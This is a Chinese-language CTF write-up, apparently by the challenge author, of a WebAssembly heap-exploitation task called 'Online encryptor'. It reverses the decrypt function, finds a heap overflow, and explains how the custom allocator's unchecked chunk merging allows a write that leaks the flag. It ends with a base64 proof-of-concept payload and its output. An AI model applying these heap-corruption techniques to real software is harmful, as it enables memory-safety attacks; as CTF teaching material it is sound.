Online encryptor writeup

背景

这题由于放题的时候失误没把题开始就放上去，所以剩下的时间可能不够去做了。而且好像有被题目名误导到的人（ 。回到题目，这题是一个披着web和crypt皮的pwn题。事实上，在之前刚看到wasm的时候我就有想能不能搞个pwn出来。然后这次也算是实现了自己的一些想法。

webassembly (以下简称wasm) 技术目前可以说并不完善，而且我也并不算是了解了整个系统的全貌，因此如果有理解不到位的地方请见谅，欢迎一起讨论。

事实上，在wasm技术提出之前就已经有类似技术出现了（asm.js），wasm和asm.js不同的是wasm创建了二进制文件格式（.wasm）和新的汇编语言。比如helloword的汇编看上去就是这样的（会lisp的同学看起来大概没啥鸭梨）

```
(module
 (type $FUNCSIG$ii (func (param i32) (result i32)))
 (type $FUNCSIG$iii (func (param i32 i32) (result i32)))
 (import "env" "iprintf" (func $iprintf (param i32 i32) (result i32)))
 (table 0 anyfunc)
 (memory $0 1)
 (data (i32.const 16) "hello world!\00")
 (export "memory" (memory $0))
 (export "hello" (func $hello))
 (export "test" (func $test))
 (func $hello
  (drop
   (call $iprintf
    (i32.const 16)
    (i32.const 0)
   )
  )
 )
 (func $test (result i32)
  (i32.const 16)
 )
)
```

关于这些指令的具体意义可以去官方文档上看。这里就不多展开了。两者的目标相接近，都是为了能用c/c++语言写web（可以想象一下js那效率。。。），所以这题的wasm当然也是c写的。

然后怎么出成一个pwn呢，wasm存在函数栈，但这部分是有严格check的（可以类比下python的，其实js引擎负责解析wasm的部分也是个解释器），而且这个栈是对用户隐藏的，也就是搞栈这条路断了（至少我没想出来怎么搞这个栈），于是打算出一个关于堆的pwn。

这题本来想用emcc编译，但emcc编译出来的wasm和js复杂难懂。。。至少我觉得如果我用emcc编译出来那是99%没人做出来的。所以用了clang+binaryen+wabt 来生成wasm。接下来介绍几个必要的姿势：

1. memory layout

wasm的memory默认是从0开始向下拓展，以10k为一个基本单位，当内存不够的时候可以通过grow指令增长，当然js层也有相应的接口可以调用。memory里面会有全局变量，当然你想放啥都可以，自己实现一个堆管理或者直接用glibc的那个堆管理都是可以的。同样，js层和c层都可以对其中的内存进行读写操作。

2. js层和c层的互相调用

js调用c层可以通过在c层定义好相应的函数，然后export，直接就能在js层调用，这里说一个参数问题。

wasm用的是32位，也就是参数和返回值都可以当作uint32_t，对于js来说这就是单纯的一个数字，但对于c来说如果你是char* ，那么它就是指向memory地址的一个char指针。如果是int，就是整形，这点就会有一个问题，就是你如果想在js传字符串到c那边，得对memory做操作，而不能直接把js的字符串当做参数传。

c层调用js也是类似的，在js那边预先定义好一系列函数然后放在同一个object里传进wasm的环境。再说一遍，这儿的参数和返回值也都得是uint32_t。

3. c层的限制

由于是用js做为环境而不是linux的环境，所以很大一部分的c库函数都无法使用，当然要用也可以，可以用js模拟出一个linux的环境（把syscall都自己用js实现一遍），可能有现成的，但为了保持题目简洁，我并没有引用glibc的函数。期待以后wasm能有自己的底层环境而不用去依赖js。

回到题目

这题是一个nodejs作为后端的在线加密器，在js层调用了wasm进行加解密操作。可以输入一个8字节的password和任意字节的data做加解密

加密为流加密，逻辑大概是这样的：

key = hash(hash(flag)^pass)^random;

其中hash函数是我自己实现的（乱写的），接受任意字节，返回16字节；flag为32字节，pass为8字节，random为16字节，通过js层的random获取。

output = random | enc(data, key);

enc函数内部会把key拆成4字节的4部分，利用 mt_rand 作为PRNG把data加密4次。

解密流程相同

但看这个加解密是拿不到flag的，因为flag在最开始就被hash了。所以这题就是pwn啦。

然后堆是自己实现的，其中

```
struct chunk {
    unsigned int size;
    unsigned int pre_size;
    struct chunk* fd;
};
```

题外话，自己写过堆之后才发现这种结构是不可取的啊，具体的就是这个pre_size的field没法重利用了。反正不管，这里的pre_size和fd都不会重利用（偷懒）；不同size的堆块放在不同size区间（间隔0x10）的单链表里，但不会做align,

```
#define find_index(size) ((size/0x10) > 0x20 ? 0x1f : (size/0x10)) ;
```

用单链表实现了类似unlink一样的效果：

```
void unlink(struct chunk* current) {
    int index = find_index(current->size);
    struct chunk* ite = bins[index];
    if(ite != 0) {
        while(ite->fd != 0) {
            if(ite->fd == current) {
                ite->fd = current->fd;
                break;
            }
            ite = ite -> fd;
        }
    }
}
```

也可以做merge，具体源码在github上，可以看到，基本全程没啥check，一些glibc用不到的技巧都可以用了！

说了这么多，洞在哪呢？？以下为wasm2wast 跑出来wast的一部分

```
  (export "memory" (memory 0))
  (import "env" "grow" (func (;0;) (type 1)))
  (import "env" "read_data" (func (;1;) (type 1)))
  (import "env" "read_file" (func (;2;) (type 2)))
  (import "env" "read_pass" (func (;3;) (type 1)))
  (import "env" "read_random" (func (;4;) (type 1)))
  这些是内部函数同import 函数名之间的关系
  (export "malloc" (func 5))
  (export "unlink" (func 6))
  (export "free" (func 7))
  (export "Initialize" (func 8))
  (export "ExtractU32" (func 9))
  (export "hash" (func 10))
  (export "mycrypt" (func 11))
  (export "encrypt" (func 12))
```

```
(export "decrypt" (func 13))
(export "out_size" (func 14))
```
这些是内部函数与export 函数名之间的关系

来看看decrypt函数

```
(func (;13;) (type 0) (result i32)
  (local i32 i32 i32 i32 i32 i32 i32)
  i32.const 32
  call 5
  set_local 5
  i32.const 1024
  call 5
  set_local 0
  i32.const 8
  call 5
  set_local 1
  i32.const 16
  call 5
  set_local 2
  i32.const 2672
  get_local 5
  i32.const 32
  call 2
  drop
  get_local 0
  call 1
  set_local 3
  get_local 1
  call 3
  drop
  i32.const 0
  set_local 6
  block  ;; label = @1
    loop  ;; label = @2
      get_local 6
      i32.const 16
      i32.eq
      br_if 1 (;@1;)
      get_local 2
      get_local 6
      i32.add
      get_local 0
      get_local 6
      i32.add
      i32.load8_u
      i32.store8
      get_local 6
      i32.const 1
      i32.add
```

```
    set_local 6
    br 0 (;@2;)
  end
end
get_local 5
i32.const 32
call 10
set_local 4
i32.const 0
set_local 6
block  ;; label = @1
  loop  ;; label = @2
    get_local 6
    i32.const 8
    i32.eq
    br_if 1 (;@1;)
    get_local 4
    get_local 6
    i32.add
    tee_local 5
    get_local 5
    i32.load8_u
    get_local 1
    get_local 6
    i32.add
    i32.load8_u
    i32.xor
    i32.store8
    get_local 6
    i32.add
    i32.load8_u
    i32.xor
    i32.store8
    get_local 6
    i32.const 1
    i32.add
    set_local 6
    br 0 (;@2;)
  end
end
get_local 1
call 7
get_local 4
i32.const 16
call 10
set_local 1
get_local 4
call 7
i32.const 0
```

```
    set_local 6
    block  ;; label = @1
      loop  ;; label = @2
        get_local 6
        i32.const 16
        i32.eq
        br_if 1 (;@1;)
        get_local 1
        get_local 6
        i32.add
        tee_local 5
        get_local 5
        i32.load8_u
        get_local 2
        get_local 6
        i32.add
        i32.load8_u
        i32.xor
        i32.store8
        get_local 6
        i32.const 1
        i32.add
        set_local 6
        br 0 (;@2;)
      end
    end
    get_local 2
    call 7
    get_local 1
    get_local 0
    i32.const 16
    i32.add
    get_local 3
    call 5
    tee_local 6
    get_local 3
    i32.const -16
    i32.add
    tee_local 2
    call 11
    i32.const 0
    get_local 2
    i32.store offset=2680
    get_local 0
    call 7
    get_local 6)
```

看上去很长，把这个decrypt函数稍微翻译下：

看上去很长，把这个decrypt函数稍微翻译下：

```
        (func (;decrypt;) (type 0) (result i32)
    (local i32 i32 i32 i32 i32 i32 i32)
    i32.const 32
    call malloc
    set_local 5                         // var_5 = malloc(32);
    i32.const 1024
    call malloc
    set_local 0                         // var_0 = malloc(1024);
    i32.const 8
    call malloc
    set_local 1                         // var_1 = malloc(8);
    i32.const 16
    call malloc
    set_local 2                         // var_2 = malloc(16);
    i32.const 2672
    get_local 5
    i32.const 32
    call read_file                      // readfile(21, var_5, 2672);
    drop
    get_local 0
    call read_data
    set_local 3                         // var_3 = read_data(var_0);
    get_local 1
    call read_pass                      // read_pass(var_1);
    drop
    i32.const 0
    set_local 6                         // var_6 = 0;
    block  ;; label = @1
      loop  ;; label = @2               // while;
        get_local 6
        i32.const 16
        i32.eq
        br_if 1 (;@1;)                  // if(var_6 == 16) break;
        get_local 2
        get_local 6
        i32.add                         //  var_2 + var_6;
        get_local 0
        get_local 6
        i32.add                         //  var_0 + var_6;
        i32.load8_u
        i32.store8                      // *(var_2 + var_6) = *
(var_0+var_6);
        get_local 6
        i32.const 1
        i32.add
        set_local 6
        br 0 (;@2;)                     // var_6 += 1;
      end
```

```
end
get_local 5
i32.const 32
call hash
set_local 4                          // var_4 = hash(var_5, 32);
i32.const 0
set_local 6                          // var_6 = 0;
block  ;; label = @1
  loop  ;; label = @2
    get_local 6
    i32.const 8
    i32.eq
    br_if 1 (;@1;)                   // if(var_6 == 8) break;
    get_local 4
    get_local 6
    i32.add                          // var_4 + var_6;
    tee_local 5                      // var_5 = var_4 + var_6
    get_local 5
    i32.load8_u                      // *var_5;
    get_local 1
    get_local 6
    i32.add                          // var_1 + var_6;
    i32.load8_u                      // *(var_1 + var_6);
    i32.xor
    i32.store8                       // *(var_4 + var_6) ^= *var_5;
    get_local 6
    i32.const 1
    i32.add
    set_local 6                      // var_6 += 1;
    br 0 (;@2;)
  end
end
get_local 1
call free                            // free(var_!);
get_local 4
i32.const 16
call hash
set_local 1                          // var_1 = hash(var_4, 16)
get_local 4
call free                            // free(var_4);
i32.const 0
set_local 6                          // var_6 = 0;
block  ;; label = @1
  loop  ;; label = @2
    get_local 6
    i32.const 16
    i32.eq
    br_if 1 (;@1;)                   // if(var_6 == 16) break;
    get_local 1
```

```
        get_local 6
        i32.add
        tee_local 5
        get_local 5
        i32.load8_u
        get_local 2
        get_local 6
        i32.add
        i32.load8_u
        i32.xor
        i32.store8                      // 和之前一样(var_1 + var_6) ^= (var_2
+ var_6);
        get_local 6
        i32.const 1
        i32.add
        set_local 6                     // var_6 += 1;
        br 0 (;@2;)
      end
    end
    get_local 2
    call free                           // free(var_2);
    get_local 1                         // var_1
    get_local 0
    i32.const 16
    i32.add                             // var_0 + 16
    get_local 3
    call malloc                         // out = malloc(var_3);
    tee_local 6
    get_local 3
    i32.const -16
    i32.add                             // var_3 - 16
    tee_local 2                         // var2 = var_3 - 16
    call mycrypt                        // mycrypt(var_1 ,var_0 + 16, out,
var_3 - 16)
    i32.const 0
    get_local 2
    i32.store offset=2680               // *(2680) = var_2;
    get_local 0
    call free                           // free(var_0);
    get_local 6)
```

这样就翻译的差不多了，应该和我开始对加解密的描述差不多，可以发现，js层传入的data长度最长可以有0x1000个字节，但从decrypt函数可以看出data这只malloc了1024个字节，于是多出来的就造成了一个堆溢出，可以利用类似方式（手工）对其他函数包括malloc和free函数进行逆向，虽然工作会艰辛很多233。

接下来我们来看看如何利用，来看看开始的那几个malloc之后的layout

```
heapbase:                                flag
key+32+12:                               data
data+1024+12:                            pass
pass+8+12:                               random
```

可以看到data下面就是pass和random，除了flag没有被free（这是我觉得强行出题的一点。。。），下面的pass和random都会在用完之后被free，那么就想想怎么把flag leak出来吧！

==========蛋疼的分割线==========

=====接下来的部分可能对不了解堆内部的人很模糊，如果没看过源码或者自己逆过就别看了====

默认你已经知道这个堆和加解密部分的实现了。

可以想到的一个最简单的方式是让最后output指针malloc到flag前面，然后修改2680那个outsize到合适大小（如果大小超过了memory长度，不会反回结果）。问题是在于怎么实现，我们能做的：

1. 在程序开始的时候溢出data块，能拿到两个可控的即将被free的堆块
2. 最后修改outsize的时候只有一个操作就是free(data); 也就是得在free之后改掉2680那个size

做到这两点在glibc里应该是不可能的，但这个堆没有任何check。

做到这个的最关键的一点在merge的时候

```
void free(unsigned char* ptr) {
    struct chunk* current = to_chunk(ptr);
    struct chunk* next = next_chunk(current);
    if(!(current->size & 1)) {
        struct chunk* pre = to_mem(current) - current->pre_size - 12;
        pre->size += ((current->size&0xfffffffe) + 12);
        // unlink pre
        unlink(pre);
        current = pre;
    }
    ...
}
```

不会有任何的check，也就是我们能把当前的size加到prev块的size位上，但prev块的size位的位置是由当前堆块的pre_size位决定的，于是就能在前面任意位置加上当前size，只是这个size不能太大，不然在找当前块的下一块的时候会超出memory长度。

现在有任意写了，但有一个问题，要做到这点得把当前块的inuse位清0，而data块要改inuse位不容易。因为上面没有任何堆块，而且也不能拿两个能溢出的堆块中一个堆块改size，因为只能加上偶数的size，并不能改变size的inuse位。

没有堆块就自己创建堆块！free的时候会merge上面的堆块，然后merge之后的那个size我们是可控的，在free的最后，会清空下一块的inuse位然后设置pre_size

```
// link current to bins
    int index = find_index(current->size);
    current->fd = bins[index];
    bins[index] = current;
    // clear next chunk's inuse bit and set the pre_size
    next = next_chunk(current);
    next->size &= 0xfffffffe;
    next->pre_size = current->size&0xfffffffe;
```

那么思路就出来了：

1. 覆盖pass堆块，使其merge完的结果在data上面，同时设置data块的size字段
2. 覆盖random堆块，设置data块的pre_size
3. malloc output的结果会到key上面那段
4. free data块的时候就能把size加到outsize，达到leak

然而实际操作中两个free的堆块在bins中的长度都会超过0x200然后分到最后一个链表，output会优先取random堆块free的那块。所以得把1，2的操作反一下。然后这题就解决了，可喜可贺（

ps：出题人没有源码大概也没法做出来

pps：写堆管理很有意思，出完题看着源码自己日自己写的题还日了一整天也很有意思

ppps：比赛完再逆一遍自己的题不容易，各位要打出题人的请手下留情orz

poc：


```
MTIzNDU2NzgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJD1
AAD8AwAAAAAAAGFhYWFhYWFhXAQAAJgIAAAAAAAA
```


结果：

```
w l D                 o Qn=e ; , d      6  ~?31.y |
O% Yg D   E      A F訓^Y  f*Ó}8j 9}=Z  O-W
                  m Ez       `rTC.ćz~=  6  r r R  3

ST   n  9y p         T =+ f-6 Ψ'}* 8 1$   :ᛁ   ed0
  %&P  & % t  zi   ,w  6 U
   Reγ8"/x ^    <Z +  z $GL H /

  8 7 Mpf□ _ŋ   &j#n(Z. f>E  (b  7k   dDeo w~         I6
 tdL 0]P  )}       |P
                %?-
y F z  z {* #     X  NnA      3 W t gsW  d xOL T      )
Kk p;  N:XC   6 T 0n ,2M ss /  /a x a |3    `
Ho9=g W ^   R     j8 M  _  y     - 3 G
]>D>=ω" za  v U196 r  !&  ! r +) cb+ja   Vo  Ad8?K
m{ ∫30-]3      Y * VS #X ![ Y"  }Gkv &J   z8
 y E cp;C  O J O %~gE w'P{Ǩ Ş    .! ⌴ .x L좜  i KIU)-
M  O  M' d þ  9 @  i[
-Cm  ]
F O  :x  ^ yo$  "       ex S F 6}
 n &  A t   oe  .^      S ;c d3 <   g" X
*       ?   vm
    F  |D+  }u e  bq   Ä **!

        !hctf{MaYb3_heAp_15_AlS0_HARD428}t  5678   12345678\
```